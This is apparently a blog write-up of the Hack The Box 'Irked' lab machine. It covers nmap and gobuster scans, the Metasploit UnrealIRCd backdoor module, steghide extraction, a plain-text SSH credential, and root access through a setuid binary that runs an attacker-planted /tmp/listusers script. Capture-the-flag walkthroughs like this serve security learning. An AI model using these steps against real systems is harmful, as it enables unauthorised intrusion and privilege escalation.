- Published on
Hack The Box - Irked
We are going to pwn Irked from Hack The Box.
Link : https://www.hackthebox.eu/home/machines/profile/163
Like always begin with our Nmap Scan.
Nmap Scan Results
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
60236/tcp open unknown
65534/tcp open unknown
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 39016/udp6 status
| 100024 1 45688/udp status
| 100024 1 52691/tcp6 status
|_ 100024 1 60236/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
60236/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Start from HTTP port 
br/ This image looks suspecious , lets try Gobuster
Gobuster Results
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.117
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/10 23:56:59 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/manual (Status: 301)
/server-status (Status: 403)
===============================================================
2019/12/10 23:59:11 Finished
===============================================================
Nothing useful. Check other ports. We know UnrealIRCD running, search them in searchsploit for any exploits 
I choose randomly and started with metasploit one
https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
use exploit/unix/irc/unreal_ircd_3281_backdoor
Getting Shell
br/ Set RHOST and LHOST
I got the shell as ircdbr/ 
br/ While checking the home directory I found an user djmardov and got .backup file. It says steg maybe it is Stegnanography
Getting User Djmardov
We already saw an image in webpage , download it I tried with steghide
steghide - a steganography program
It has a file called pass.txtwhich is password protected and we got the pass already from .backup
I got a password
extract, --extract extract data
-xf, --extractfile select file name for extracted data
So I tried with them in ssh - djmardov:Kab6h+m+bbp2J:HGbr/ 
Privilege Escalation
There is an setuid binary viewuserbr/ 
While executing it search for a file called listusers in /tmpbr/ 
Which is not found so we create one and make that gives us shell.br/ 
I created one and tried executed the file viewuser it says permission denied for listusers, I forgot to give permission and then it worked.
echo “/bin/sh” > listusers
I got Root~